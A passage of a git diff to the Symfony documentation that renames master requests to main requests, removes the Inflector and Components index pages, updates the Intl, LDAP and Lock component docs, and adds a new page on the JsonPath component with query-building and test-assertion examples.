:method:`Symfony\\Component\\HttpKernel\\Event\\KernelEvent::isMasterRequest` -can be used to check if the current request is a "master" or "sub" request. +listeners (e.g. security) may only act upon the main request. Each listener +is passed some subclass of :class:`Symfony\\Component\\HttpKernel\\Event\\KernelEvent`, +whose :method:`Symfony\\Component\\HttpKernel\\Event\\KernelEvent::isMainRequest` +method can be used to check if the current request is a "main" or "sub" request. -For example, a listener that only needs to act on the master request may +For example, a listener that only needs to act on the main request may look like this:: use Symfony\Component\HttpKernel\Event\RequestEvent; // ... - public function onKernelRequest(RequestEvent $event) + public function onKernelRequest(RequestEvent $event): void { - if (!$event->isMasterRequest()) { + if (!$event->isMainRequest()) { return; } // ... } +.. note:: + + The default value of the ``_format`` request attribute is ``html``. If your + sub request returns a different format (e.g. ``json``) you can set it by + defining the ``_format`` attribute explicitly on the request:: + + $request->attributes->set('_format', 'json'); + .. _http-kernel-resource-locator: Locating Resources ------------------ The HttpKernel component is responsible of the bundle mechanism used in Symfony -applications. The key feature of the bundles is that they allow to override any -resource used by the application (config files, templates, controllers, -translation files, etc.) +applications. One of the key features of the bundles is that you can use logic +paths instead of physical paths to refer to any of their resources (config files, +templates, controllers, translation files, etc.) -This overriding mechanism works because resources are referenced not by their -physical path but by their logical path. For example, the ``services.xml`` file -stored in the ``Resources/config/`` directory of a bundle called FooBundle is -referenced as ``@FooBundle/Resources/config/services.xml``. This logical path -will work when the application overrides that file and even if you change the -directory of FooBundle. +This allows to import resources even if you don't know where in the filesystem a +bundle will be installed. For example, the ``services.xml`` file stored in the +``Resources/config/`` directory of a bundle called FooBundle can be referenced as +``@FooBundle/Resources/config/services.xml`` instead of ``__DIR__/Resources/config/services.xml``. -The HttpKernel component provides a method called :method:`Symfony\\Component\\HttpKernel\\Kernel::locateResource` -which can be used to transform logical paths into physical paths:: +This is possible thanks to the :method:`Symfony\\Component\\HttpKernel\\Kernel::locateResource` +method provided by the kernel, which transforms logical paths into physical paths:: $path = $kernel->locateResource('@FooBundle/Resources/config/services.xml'); @@ -755,8 +757,5 @@ Learn more .. _reflection: https://www.php.net/manual/en/book.reflection.php .. _FOSRestBundle: https://github.com/friendsofsymfony/FOSRestBundle .. _`PHP FPM`: https://www.php.net/manual/en/install.fpm.php -.. _`SensioFrameworkExtraBundle`: https://symfony.com/doc/current/bundles/SensioFrameworkExtraBundle/index.html -.. _`@ParamConverter`: https://symfony.com/doc/current/bundles/SensioFrameworkExtraBundle/annotations/converters.html -.. _`@Template`: https://symfony.com/doc/current/bundles/SensioFrameworkExtraBundle/annotations/view.html -.. _`EmailSenderListener`: https://github.com/symfony/swiftmailer-bundle/blob/master/EventListener/EmailSenderListener.php .. _variadic: https://www.php.net/manual/en/functions.arguments.php#functions.variable-arg-list +.. _`FrankenPHP`: https://frankenphp.dev diff --git a/components/index.rst b/components/index.rst deleted file mode 100644 index bf28bf3b5d8..00000000000 --- a/components/index.rst +++ /dev/null @@ -1,16 +0,0 @@ -The Components -============== - -.. seealso:: - - See the dedicated `Symfony Components`_ webpage for a full overview of decoupled - and reusable Symfony components. - -.. toctree:: - :maxdepth: 1 - :glob: - - using_components - * - -.. _`Symfony Components`: https://symfony.com/components diff --git a/components/inflector.rst b/components/inflector.rst deleted file mode 100644 index c42d6ebaeaa..00000000000 --- a/components/inflector.rst +++ /dev/null @@ -1,12 +0,0 @@ -.. index:: - single: Inflector - single: Components; Inflector - -The Inflector Component -======================= - -.. deprecated:: 5.1 - - The Inflector component was deprecated in Symfony 5.1 and its code was moved - into the :doc:`String </components/string>` component. - :ref:`Read the new Inflector docs <string-inflector>`. diff --git a/components/intl.rst b/components/intl.rst index cb120034615..ba3cbdcb959 100644 --- a/components/intl.rst +++ b/components/intl.rst @@ -1,19 +1,7 @@ -.. index:: - single: Intl - single: Components; Intl - The Intl Component ================== This component provides access to the localization data of the `ICU library`_. - It also provides a PHP replacement layer for the C `intl extension`_. - -.. caution:: - - The replacement layer is limited to the ``en`` locale. If you want to use - other locales, you should `install the intl extension`_. There is no conflict - between the two because, even if you use the extension, this package can still - be useful to access the ICU data. .. seealso:: @@ -30,30 +18,6 @@ Installation .. include:: /components/require_autoload.rst.inc -If you install the component via Composer, the following classes and functions -of the intl extension will be automatically provided if the intl extension is -not loaded: - -* :phpclass:`Collator` -* :phpclass:`IntlDateFormatter` -* :phpclass:`Locale` -* :phpclass:`NumberFormatter` -* :phpfunction:`intl_error_name` -* :phpfunction:`intl_is_failure` -* :phpfunction:`intl_get_error_code` -* :phpfunction:`intl_get_error_message` - -When the intl extension is not available, the following classes are used to -replace the intl classes: - -* :class:`Symfony\\Component\\Intl\\Collator\\Collator` -* :class:`Symfony\\Component\\Intl\\DateFormatter\\IntlDateFormatter` -* :class:`Symfony\\Component\\Intl\\Locale\\Locale` -* :class:`Symfony\\Component\\Intl\\NumberFormatter\\NumberFormatter` -* :class:`Symfony\\Component\\Intl\\Globals\\IntlGlobals` - -Composer automatically exposes these classes in the global namespace. - Accessing ICU Data ------------------ @@ -68,8 +32,8 @@ This component provides the following ICU data: Language and Script Names ~~~~~~~~~~~~~~~~~~~~~~~~~ -The ``Languages`` class provides access to the name of all languages -according to the `ISO 639-1 alpha-2`_ list and the `ISO 639-2 alpha-3`_ list:: +The :class:`Symfony\\Component\\Intl\\Languages` class provides access to the name of all languages +according to the `ISO 639-1 alpha-2`_ list and the `ISO 639-2 alpha-3 (2T)`_ list:: use Symfony\Component\Intl\Languages; @@ -110,7 +74,7 @@ to catching the exception, you can also check if a given language code is valid: $isValidLanguage = Languages::exists($languageCode); -Or if you have a alpha3 language code you want to check:: +Or if you have an alpha3 language code you want to check:: $isValidLanguage = Languages::alpha3CodeExists($alpha3Code); @@ -120,7 +84,7 @@ You may convert codes between two-letter alpha2 and three-letter alpha3 codes:: $alpha2Code = Languages::getAlpha2Code($alpha3Code); -The ``Scripts`` class provides access to the optional four-letter script code +The :class:`Symfony\\Component\\Intl\\Scripts` class provides access to the optional four-letter script code that can follow the language code according to the `Unicode ISO 15924 Registry`_ (e.g. ``HANS`` in ``zh_HANS`` for simplified Chinese and ``HANT`` in ``zh_HANT`` for traditional Chinese):: @@ -154,9 +118,9 @@ to catching the exception, you can also check if a given script code is valid:: Country Names ~~~~~~~~~~~~~ -The ``Countries`` class provides access to the name of all countries according -to the `ISO 3166-1 alpha-2`_ list and the `ISO 3166-1 alpha-3`_ list -of officially recognized countries and territories:: +The :class:`Symfony\\Component\\Intl\\Countries` class provides access to the +name of all countries according to the `ISO 3166-1 alpha-2`_ list and the +`ISO 3166-1 alpha-3`_ list of officially recognized countries and territories:: use Symfony\Component\Intl\Countries; @@ -197,7 +161,7 @@ to catching the exception, you can also check if a given country code is valid:: $isValidCountry = Countries::exists($alpha2Code); -Or if you have a alpha3 country code you want to check:: +Or if you have an alpha3 country code you want to check:: $isValidCountry = Countries::alpha3CodeExists($alpha3Code); @@ -207,14 +171,45 @@ You may convert codes between two-letter alpha2 and three-letter alpha3 codes:: $alpha2Code = Countries::getAlpha2Code($alpha3Code); +Numeric Country Codes +~~~~~~~~~~~~~~~~~~~~~ + +The `ISO 3166-1 numeric`_ standard defines three-digit country codes to represent +countries, dependent territories, and special areas of geographical interest. + +The main advantage over the ISO 3166-1 alphabetic codes (alpha-2 and alpha-3) is +that these numeric codes are independent from the writing system. The alphabetic +codes use the 26-letter English alphabet, which might be unavailable or difficult +to use for people and systems using non-Latin scripts (e.g. Arabic or Japanese). + +The :class:`Symfony\\Component\\Intl\\Countries` class provides access to these +numeric country codes:: + + use Symfony\Component\Intl\Countries; + + \Locale::setDefault('en'); + + $numericCodes = Countries::getNumericCodes(); + // ('alpha2Code' => 'numericCode') + // => ['AA' => '958', 'AD' => '020', ...] + + $numericCode = Countries::getNumericCode('FR'); + // => '250' + + $alpha2 = Countries::getAlpha2FromNumeric('250'); + // => 'FR' + + $exists = Countries::numericCodeExists('250'); + // => true + Locales ~~~~~~~ A locale is the combination of a language, a region and some parameters that -define the interface preferences of the user. For example, "Chinese" is the -language and ``zh_Hans_MO`` is the locale for "Chinese" (language) + "Simplified" -(script) + "Macau SAR China" (region). The ``Locales`` class provides access to -the name of all locales:: +define the interface preferences of the user. For example, "Chinese" is the +language and ``zh_Hans_MO`` is the locale for "Chinese" (language) + "Simplified" +(script) + "Macau SAR China" (region). The :class:`Symfony\\Component\\Intl\\Locales` +class provides access to the name of all locales:: use Symfony\Component\Intl\Locales; @@ -245,8 +240,8 @@ to catching the exception, you can also check if a given locale code is valid:: Currencies ~~~~~~~~~~ -The ``Currencies`` class provides access to the name of all currencies as well -as some of their information (symbol, fraction digits, etc.):: +The :class:`Symfony\\Component\\Intl\\Currencies` class provides access to the name +of all currencies as well as some of their information (symbol, fraction digits, etc.):: use Symfony\Component\Intl\Currencies; @@ -262,15 +257,37 @@ as some of their information (symbol, fraction digits, etc.):: $symbol = Currencies::getSymbol('INR'); // => '₹' - $fractionDigits = Currencies::getFractionDigits('INR'); - // => 2 +The fraction digits methods return the number of decimal digits to display when +formatting numbers with this currency. Depending on the currency, this value +can change if the number is used in cash transactions or in other scenarios +(e.g. accounting):: + + // Indian rupee defines the same value for both + $fractionDigits = Currencies::getFractionDigits('INR'); // returns: 2 + $cashFractionDigits = Currencies::getCashFractionDigits('INR'); // returns: 2 - $roundingIncrement = Currencies::getRoundingIncrement('INR'); - // => 0 + // Swedish krona defines different values + $fractionDigits = Currencies::getFractionDigits('SEK'); // returns: 2 + $cashFractionDigits = Currencies::getCashFractionDigits('SEK'); // returns: 0 -All methods (except for ``getFractionDigits()`` and ``getRoundingIncrement()``) -accept the translation locale as the last, optional parameter, which defaults to -the current default locale:: +Some currencies require to round numbers to the nearest increment of some value +(e.g. 5 cents). This increment might be different if numbers are formatted for +cash transactions or other scenarios (e.g. accounting):: + + // Indian rupee defines the same value for both + $roundingIncrement = Currencies::getRoundingIncrement('INR'); // returns: 0 + $cashRoundingIncrement = Currencies::getCashRoundingIncrement('INR'); // returns: 0 + + // Canadian dollar defines different values because they have eliminated + // the smaller coins (1-cent and 2-cent) and prices in cash must be rounded to + // 5 cents (e.g. if price is 7.42 you pay 7.40; if price is 7.48 you pay 7.50) + $roundingIncrement = Currencies::getRoundingIncrement('CAD'); // returns: 0 + $cashRoundingIncrement = Currencies::getCashRoundingIncrement('CAD'); // returns: 5 + +All methods (except for ``getFractionDigits()``, ``getCashFractionDigits()``, +``getRoundingIncrement()`` and ``getCashRoundingIncrement()``) accept the +translation locale as the last, optional parameter, which defaults to the +current default locale:: $currencies = Currencies::getNames('de'); // => ['AFN' => 'Afghanischer Afghani', 'EGP' => 'Ägyptisches Pfund', ...] @@ -289,8 +306,9 @@ to catching the exception, you can also check if a given currency code is valid: Timezones ~~~~~~~~~ -The ``Timezones`` class provides several utilities related to timezones. First, -you can get the name and values of all timezones in all languages:: +The :class:`Symfony\\Component\\Intl\\Timezones` class provides several utilities +related to timezones. First, you can get the name and values of all timezones in +all languages:: use Symfony\Component\Intl\Timezones; @@ -323,7 +341,7 @@ translate into any locale with the ``getName()`` method shown earlier:: The reverse lookup is also possible thanks to the ``getCountryCode()`` method, which returns the code of the country where the given timezone ID belongs to:: - $countryCode = Timezones::getCountryCode('America/Vancouver') + $countryCode = Timezones::getCountryCode('America/Vancouver'); // => $countryCode = 'CA' (CA = Canada) The `UTC/GMT time offsets`_ of all timezones are provided by ``getRawOffset()`` @@ -353,8 +371,8 @@ arguments to get the offset at any given point in time:: The string representation of the GMT offset can vary depending on the locale, so you can pass the locale as the third optional argument:: - $offset = Timezones::getGmtOffset('Europe/Madrid', strtotime('October 28, 2019'), 'ar')); // $offset = 'غرينتش+01:00' - $offset = Timezones::getGmtOffset('Europe/Madrid', strtotime('October 28, 2019'), 'dz')); // $offset = 'ཇི་ཨེམ་ཏི་+01:00' + $offset = Timezones::getGmtOffset('Europe/Madrid', strtotime('October 28, 2019'), 'ar'); // $offset = 'غرينتش+01:00' + $offset = Timezones::getGmtOffset('Europe/Madrid', strtotime('October 28, 2019'), 'dz'); // $offset = 'ཇི་ཨེམ་ཏི་+01:00' If the given timezone ID doesn't exist, the methods trigger a :class:`Symfony\\Component\\Intl\\Exception\\MissingResourceException`. In addition @@ -362,6 +380,27 @@ to catching the exception, you can also check if a given timezone ID is valid:: $isValidTimezone = Timezones::exists($timezoneId); +.. _component-intl-emoji-transliteration: + +Emoji Transliteration +~~~~~~~~~~~~~~~~~~~~~ + +Symfony provides utilities to translate emojis into their textual representation +in all languages. Read the documentation about :ref:`emoji transliteration <emoji-transliteration>` +to learn more about this feature. + +Disk Space +---------- + +If you need to save disk space (e.g. because you deploy to some service with tight size +constraints), run this command (e.g. as an automated script after ``composer install``) to compress the +internal Symfony Intl data files using the PHP ``zlib`` extension: + +.. code-block:: terminal + + # adjust the path to the 'compress' binary based on your application installation + $ php ./vendor/symfony/intl/Resources/bin/compress + Learn more ---------- @@ -375,13 +414,12 @@ Learn more /reference/forms/types/locale /reference/forms/types/timezone -.. _intl extension: https://www.php.net/manual/en/book.intl.php -.. _install the intl extension: https://www.php.net/manual/en/intl.setup.php -.. _ICU library: http://site.icu-project.org/ +.. _ICU library: https://icu.unicode.org/ .. _`Unicode ISO 15924 Registry`: https://www.unicode.org/iso15924/iso15924-codes.html .. _`ISO 3166-1 alpha-2`: https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2 .. _`ISO 3166-1 alpha-3`: https://en.wikipedia.org/wiki/ISO_3166-1_alpha-3 +.. _`ISO 3166-1 numeric`: https://en.wikipedia.org/wiki/ISO_3166-1_numeric .. _`UTC/GMT time offsets`: https://en.wikipedia.org/wiki/List_of_UTC_time_offsets .. _`daylight saving time (DST)`: https://en.wikipedia.org/wiki/Daylight_saving_time .. _`ISO 639-1 alpha-2`: https://en.wikipedia.org/wiki/ISO_639-1 -.. _`ISO 639-2 alpha-3`: https://en.wikipedia.org/wiki/ISO_639-2 +.. _`ISO 639-2 alpha-3 (2T)`: https://en.wikipedia.org/wiki/ISO_639-2 diff --git a/components/json_path.rst b/components/json_path.rst new file mode 100644 index 00000000000..9db8e48885e --- /dev/null +++ b/components/json_path.rst @@ -0,0 +1,330 @@ +The JsonPath Component +====================== + +.. versionadded:: 7.3 + + The JsonPath component was introduced in Symfony 7.3 as an + :doc:`experimental feature </contributing/code/experimental>`. + +The JsonPath component lets you query and extract data from JSON structures. +It implements the `RFC 9535 – JSONPath`_ standard, allowing you to navigate +complex JSON data. + +Similar to the :doc:`DomCrawler component </components/dom_crawler>`, which lets +you navigate and query HTML or XML documents with XPath, the JsonPath component +offers the same convenience for traversing and searching JSON structures through +JSONPath expressions. The component also provides an abstraction layer for data +extraction. + +Installation +------------ + +You can install the component in your project using Composer: + +.. code-block:: terminal + + $ composer require symfony/json-path + +.. include:: /components/require_autoload.rst.inc + +Usage +----- + +To start querying a JSON document, first create a :class:`Symfony\\Component\\JsonPath\\JsonCrawler` +object from a JSON string. The following examples use this sample "bookstore" +JSON data:: + + use Symfony\Component\JsonPath\JsonCrawler; + + $json = <<<'JSON' + { + "store": { + "book": [ + { + "category": "reference", + "author": "Nigel Rees", + "title": "Sayings of the Century", + "price": 8.95 + }, + { + "category": "fiction", + "author": "Evelyn Waugh", + "title": "Sword of Honour", + "price": 12.99 + }, + { + "category": "fiction", + "author": "Herman Melville", + "title": "Moby Dick", + "isbn": "0-553-21311-3", + "price": 8.99 + }, + { + "category": "fiction", + "author": "John Ronald Reuel Tolkien", + "title": "The Lord of the Rings", + "isbn": "0-395-19395-8", + "price": 22.99 + } + ], + "bicycle": { + "color": "red", + "price": 399 + } + } + } + JSON; + + $crawler = new JsonCrawler($json); + +Once you have the crawler instance, use its :method:`Symfony\\Component\\JsonPath\\JsonCrawler::find` +method to start querying the data. This method returns an array of matching values. + +Querying with Expressions +------------------------- + +The primary way to query the JSON is by passing a JSONPath expression string +to the :method:`Symfony\\Component\\JsonPath\\JsonCrawler::find` method. + +Accessing a Specific Property +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Use dot notation for object keys and square brackets for array indices. The root +of the document is represented by ``$``:: + + // get the title of the first book in the store + $titles = $crawler->find('$.store.book[0].title'); + + // $titles is ['Sayings of the Century'] + +Dot notation is the default, but JSONPath provides other syntaxes for cases +where it doesn't work. Use bracket notation (``['...']``) when a key contains +spaces or special characters:: + + // this is equivalent to the previous example + $titles = $crawler->find('$["store"]["book"][0]["title"]'); + + // this expression requires brackets because some keys use dots or spaces + $titles = $crawler->find('$["store"]["book collection"][0]["title.original"]'); + + // you can combine both notations + $titles = $crawler->find('$["store"].book[0].title'); + +Searching with the Descendant Operator +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +The descendant operator (``..``) recursively searches for a given key, allowing +you to find values without specifying the full path:: + + // get all authors from anywhere in the document + $authors = $crawler->find('$..author'); + + // $authors is ['Nigel Rees', 'Evelyn Waugh', 'Herman Melville', 'John Ronald Reuel Tolkien'] + +Filtering Results +~~~~~~~~~~~~~~~~~ + +JSONPath includes a filter syntax (``?(expression)``) to select items based on +a condition. The current item within the filter is referenced by ``@``:: + + // get all books with a price less than 10 + $cheapBooks = $crawler->find('$.store.book[?(@.price < 10)]'); + +Building Queries Programmatically +--------------------------------- + +For more dynamic or complex query building, use the fluent API provided +by the :class:`Symfony\\Component\\JsonPath\\JsonPath` class. This lets you +construct a query object step by step. The ``JsonPath`` object can then be passed +to the crawler's :method:`Symfony\\Component\\JsonPath\\JsonCrawler::find` method. + +The main advantage of the programmatic builder is that it automatically handles +escaping of keys and values, preventing syntax errors:: + + use Symfony\Component\JsonPath\JsonPath; + + $path = (new JsonPath()) + ->key('store') // selects the 'store' key + ->key('book') // then the 'book' key + ->index(1); // then the second item (indexes start at 0) + + // the created $path object is equivalent to the string '$["store"]["book"][1]' + $book = $crawler->find($path); + + // $book contains the book object for "Sword of Honour" + +The :class:`Symfony\\Component\\JsonPath\\JsonPath` class provides several +methods to build your query: + +* :method:`Symfony\\Component\\JsonPath\\JsonPath::key` + Adds a key selector. The key name is properly escaped:: + + // creates the path '$["key\"with\"quotes"]' + $path = (new JsonPath())->key('key"with"quotes'); + +* :method:`Symfony\\Component\\JsonPath\\JsonPath::deepScan` + Adds the descendant operator ``..`` to perform a recursive search from the + current point in the path:: + + // get all prices in the store: '$["store"]..["price"]' + $path = (new JsonPath())->key('store')->deepScan()->key('price'); + +* :method:`Symfony\\Component\\JsonPath\\JsonPath::all` + Adds the wildcard operator ``[*]`` to select all items in an array or object:: + + // creates the path '$["store"]["book"][*]' + $path = (new JsonPath())->key('store')->key('book')->all(); + +* :method:`Symfony\\Component\\JsonPath\\JsonPath::index` + Adds an array index selector. Index numbers start at ``0``. + +* :method:`Symfony\\Component\\JsonPath\\JsonPath::first` / + :method:`Symfony\\Component\\JsonPath\\JsonPath::last` + Shortcuts for ``index(0)`` and ``index(-1)`` respectively:: + + // get the last book: '$["store"]["book"][-1]' + $path = (new JsonPath())->key('store')->key('book')->last(); + +* :method:`Symfony\\Component\\JsonPath\\JsonPath::slice` + Adds an array slice selector ``[start:end:step]``:: + + // get books from index 1 up to (but not including) index 3 + // creates the path '$["store"]["book"][1:3]' + $path = (new JsonPath())->key('store')->key('book')->slice(1, 3); + + // get every second book from the first four books + // creates the path '$["store"]["book"][0:4:2]' + $path = (new JsonPath())->key('store')->key('book')->slice(0, 4, 2); + +* :method:`Symfony\\Component\\JsonPath\\JsonPath::filter` + Adds a filter expression. The expression string is the part that goes inside + the ``?()`` syntax:: + + // get expensive books: '$["store"]["book"][?(@.price > 20)]' + $path = (new JsonPath()) + ->key('store') + ->key('book') + ->filter('@.price > 20'); + +Advanced Querying +----------------- + +For a complete overview of advanced operators like wildcards and functions within +filters, refer to the `Querying with Expressions`_ section above. All these +features are supported and can be combined with the programmatic builder when +appropriate (e.g., inside a ``filter()`` expression). + +Testing with JSON Assertions +---------------------------- + +The component provides a set of PHPUnit assertions to make testing JSON data +more convenient. Use the :class:`Symfony\\Component\\JsonPath\\Test\\JsonPathAssertionsTrait` +in your test class:: + + use PHPUnit\Framework\TestCase; + use Symfony\Component\JsonPath\Test\JsonPathAssertionsTrait; + + class MyTest extends TestCase + { + use JsonPathAssertionsTrait; + + public function testSomething(): void + { + $json = '{"books": [{"title": "A"}, {"title": "B"}]}'; + + self::assertJsonPathCount(2, '$.books[*]', $json); + } + } + +The trait provides the following assertion methods: + +* :method:`Symfony\\Component\\JsonPath\\Test\\JsonPathAssertionsTrait::assertJsonPathCount` + Asserts that the number of elements found by the JSONPath expression matches + an expected count:: + + $json = '{"a": [1, 2, 3]}'; + self::assertJsonPathCount(3, '$.a[*]', $json); + +* :method:`Symfony\\Component\\JsonPath\\Test\\JsonPathAssertionsTrait::assertJsonPathEquals` + Asserts that the result of a JSONPath expression is equal to an expected + value. The comparison uses ``==`` (type coercion) instead of ``===``:: + + $json = '{"a": [1, 2, 3]}'; + + // passes because "1" == 1 + self::assertJsonPathEquals(['1'], '$.a[0]', $json); + +* :method:`Symfony\\Component\\JsonPath\\Test\\JsonPathAssertionsTrait::assertJsonPathNotEquals` + Asserts that the result of a JSONPath expression is not equal to an expected + value. The comparison uses ``!=`` (type coercion) instead of ``!==``:: + + $json = '{"a": [1, 2, 3]}'; + self::assertJsonPathNotEquals([42], '$.a[0]', $json); + +* :method:`Symfony\\Component\\JsonPath\\Test\\JsonPathAssertionsTrait::assertJsonPathSame` + Asserts that the result of a JSONPath expression is identical (``===``) to an + expected value. This is a strict comparison and does not perform type + coercion:: + + $json = '{"a": [1, 2, 3]}'; + + // fails because "1" !== 1 + // self::assertJsonPathSame(['1'], '$.a[0]', $json); + + self::assertJsonPathSame([1], '$.a[0]', $json); + +* :method:`Symfony\\Component\\JsonPath\\Test\\JsonPathAssertionsTrait::assertJsonPathNotSame` + Asserts that the result of a JSONPath expression is not identical (``!==``) to + an expected value:: + + $json = '{"a": [1, 2, 3]}'; + self::assertJsonPathNotSame(['1'], '$.a[0]', $json); + +* :method:`Symfony\\Component\\JsonPath\\Test\\JsonPathAssertionsTrait::assertJsonPathContains` + Asserts that a given value is found within the array of results from the + JSONPath expression:: + + $json = '{"tags": ["php", "symfony", "json"]}'; + self::assertJsonPathContains('symfony', '$.tags[*]', $json); + +* :method:`Symfony\\Component\\JsonPath\\Test\\JsonPathAssertionsTrait::assertJsonPathNotContains` + Asserts that a given value is NOT found within the array of results from the + JSONPath expression:: + + $json = '{"tags": ["php", "symfony", "json"]}'; + self::assertJsonPathNotContains('java', '$.tags[*]', $json); + +Error Handling +-------------- + +The component throws specific exceptions for invalid input or queries: + +* :class:`Symfony\\Component\\JsonPath\\Exception\\InvalidArgumentException`: + Thrown if the input to the ``JsonCrawler`` constructor is not a valid JSON string; +* :class:`Symfony\\Component\\JsonPath\\Exception\\InvalidJsonStringInputException`: + Thrown during a ``find()`` call if the JSON string is malformed (e.g., syntax error); +* :class:`Symfony\\Component\\JsonPath\\Exception\\JsonCrawlerException`: + Thrown for errors within the JsonPath expression itself, such as using an + unknown function + +Example of handling errors:: + + use Symfony\Component\JsonPath\Exception\InvalidJsonStringInputException; + use Symfony\Component\JsonPath\Exception\JsonCrawlerException; + + try { + // the following line contains malformed JSON + $crawler = new JsonCrawler('{"store": }'); + $crawler->find('$..*'); + } catch (InvalidJsonStringInputException $e) { + // ... handle error + } + + try { + // the following line contains an invalid query + $crawler->find('$.store.book[?unknown_function(@.price)]'); + } catch (JsonCrawlerException $e) { + // ... handle error + } + +.. _`RFC 9535 – JSONPath`: https://datatracker.ietf.org/doc/html/rfc9535 diff --git a/components/ldap.rst b/components/ldap.rst index 8e73b077760..e52a341986c 100644 --- a/components/ldap.rst +++ b/components/ldap.rst @@ -1,7 +1,3 @@ -.. index:: - single: Ldap - single: Components; Ldap - The Ldap Component ================== @@ -74,10 +70,23 @@ distinguished name (DN) and the password of a user:: $ldap->bind($dn, $password); -.. caution:: +.. danger:: When the LDAP server allows unauthenticated binds, a blank password will always be valid. +You can also use the :method:`Symfony\\Component\\Ldap\\Ldap::saslBind` method +for binding to an LDAP server using `SASL`_:: + + // this method defines other optional arguments like $mech, $realm, $authcId, etc. + $ldap->saslBind($dn, $password); + +After binding to the LDAP server, you can use the :method:`Symfony\\Component\\Ldap\\Ldap::whoami` +method to get the distinguished name (DN) of the authenticated and authorized user. + +.. versionadded:: 7.2 + + The ``saslBind()`` and ``whoami()`` methods were introduced in Symfony 7.2. + Once bound (or if you enabled anonymous authentication on your LDAP server), you may query the LDAP server using the :method:`Symfony\\Component\\Ldap\\Ldap::query` method:: @@ -115,6 +124,10 @@ to the ``LDAP_SCOPE_BASE`` scope of :phpfunction:`ldap_read`) and ``SCOPE_ONE`` $query = $ldap->query('dc=symfony,dc=com', '...', ['scope' => QueryInterface::SCOPE_ONE]); +Use the ``filter`` option to only retrieve some specific attributes: + + $query = $ldap->query('dc=symfony,dc=com', '...', ['filter' => ['cn', 'mail']); + Creating or Updating Entries ---------------------------- @@ -139,6 +152,13 @@ delete existing ones:: $query = $ldap->query('dc=symfony,dc=com', '(&(objectclass=person)(ou=Maintainers))'); $result = $query->execute(); $entry = $result[0]; + + $phoneNumber = $entry->getAttribute('phoneNumber'); + $isContractor = $entry->hasAttribute('contractorCompany'); + // attribute names in getAttribute() and hasAttribute() methods are case-sensitive + // pass FALSE as the second method argument to make them case-insensitive + $isContractor = $entry->hasAttribute('contractorCompany', false); + $entry->setAttribute('email', ['fabpot@symfony.com']); $entryManager->update($entry); @@ -176,3 +196,5 @@ Possible operation types are ``LDAP_MODIFY_BATCH_ADD``, ``LDAP_MODIFY_BATCH_REMO ``LDAP_MODIFY_BATCH_REMOVE_ALL``, ``LDAP_MODIFY_BATCH_REPLACE``. Parameter ``$values`` must be ``NULL`` when using ``LDAP_MODIFY_BATCH_REMOVE_ALL`` operation type. + +.. _`SASL`: https://en.wikipedia.org/wiki/Simple_Authentication_and_Security_Layer diff --git a/components/lock.rst b/components/lock.rst index 518a01c9375..e9fe61ecd1a 100644 --- a/components/lock.rst +++ b/components/lock.rst @@ -1,7 +1,3 @@ -.. index:: - single: Lock - single: Components; Lock - The Lock Component ================== @@ -42,11 +38,11 @@ resource. Then, a call to the :method:`Symfony\\Component\\Lock\\LockInterface:: method will try to acquire the lock:: // ... - $lock = $factory->createLock('pdf-invoice-generation'); + $lock = $factory->createLock('pdf-creation'); if ($lock->acquire()) { - // The resource "pdf-invoice-generation" is locked. - // You can compute and generate invoice safely here. + // The resource "pdf-creation" is locked. + // You can compute and generate the invoice safely here. $lock->release(); } @@ -56,43 +52,81 @@ method can be safely called repeatedly, even if the lock is already acquired. .. note:: - Unlike other implementations, the Lock Component distinguishes locks - instances even when they are created for the same resource. If a lock has - to be used by several services, they should share the same ``Lock`` instance - returned by the ``LockFactory::createLock`` method. + Unlike other implementations, the Lock Component distinguishes lock + instances even when they are created for the same resource. It means that for + a given scope and resource one lock instance can be acquired multiple times. + If a lock has to be used by several services, they should share the same ``Lock`` + instance returned by the ``LockFactory::createLock`` method. .. tip:: If you don't release the lock explicitly, it will be released automatically - on instance destruction. In some cases, it can be useful to lock a resource + upon instance destruction. In some cases, it can be useful to lock a resource across several requests. To disable the automatic release behavior, set the third argument of the ``createLock()`` method to ``false``. Serializing Locks ------------------- +----------------- -The ``Key`` contains the state of the ``Lock`` and can be serialized. This +The :class:`Symfony\\Component\\Lock\\Key` contains the state of the +:class:`Symfony\\Component\\Lock\\Lock` and can be serialized. This allows the user to begin a long job in a process by acquiring the lock, and -continue the job in an other process using the same lock:: +continue the job in another process using the same lock. + +First, you may create a serializable class containing the resource and the +key of the lock:: + + // src/Lock/RefreshTaxonomy.php + namespace App\Lock; + + use Symfony\Component\Lock\Key; + + class RefreshTaxonomy + { + public function __construct( + private object $article, + private Key $key, + ) { + } + + public function getArticle(): object + { + return $this->article; + } + + public function getKey(): Key + { + return $this->key; + } + } + +Then, you can use this class to dispatch all that's needed for another process +to handle the rest of the job:: + use App\Lock\RefreshTaxonomy; use Symfony\Component\Lock\Key; - use Symfony\Component\Lock\Lock; $key = new Key('article.'.$article->getId()); - $lock = new Lock($key, $this->store, 300, false); + $lock = $factory->createLockFromKey( + $key, + 300, // ttl + false // autoRelease + ); $lock->acquire(true); $this->bus->dispatch(new RefreshTaxonomy($article, $key)); .. note:: - Don't forget to disable the autoRelease to avoid releasing the lock when - the destructor is called. + Don't forget to set the ``autoRelease`` argument to ``false`` in the + ``Lock`` instantiation to avoid releasing the lock when the destructor is + called. -Not all stores are compatible with serialization and cross-process locking: -for example, the kernel will automatically release semaphores acquired by the +Not all stores are compatible with serialization and cross-process locking: for +example, the kernel will automatically release semaphores acquired by the :ref:`SemaphoreStore <lock-store-semaphore>` store. If you use an incompatible -store, an exception will be thrown when the application tries to serialize the key. +store (see :ref:`lock stores <lock-stores>` for supported stores), an +exception will be thrown when the application tries to serialize the key. .. _lock-blocking-locks: @@ -100,44 +134,34 @@ Blocking Locks -------------- By default, when a lock cannot be acquired, the ``acquire`` method returns -``false`` immediately. To wait (indefinitely) until the lock -can be created, pass ``true`` as the argument of the ``acquire()`` method. This -is called a **blocking lock** because the execution of your application stops -until the lock is acquired. - -Some of the built-in ``Store`` classes support this feature. When they don't, -they can be decorated with the ``RetryTillSaveStore`` class:: +``false`` immediately. To wait (indefinitely) until the lock can be created, +pass ``true`` as the argument of the ``acquire()`` method. This is called a +**blocking lock** because the execution of your application stops until the +lock is acquired:: use Symfony\Component\Lock\LockFactory; - use Symfony\Component\Lock\Store\RedisStore; - use Symfony\Component\Lock\Store\RetryTillSaveStore; + use Symfony\Component\Lock\Store\FlockStore; - $store = new RedisStore(new \Predis\Client('tcp://localhost:6379')); - $store = new 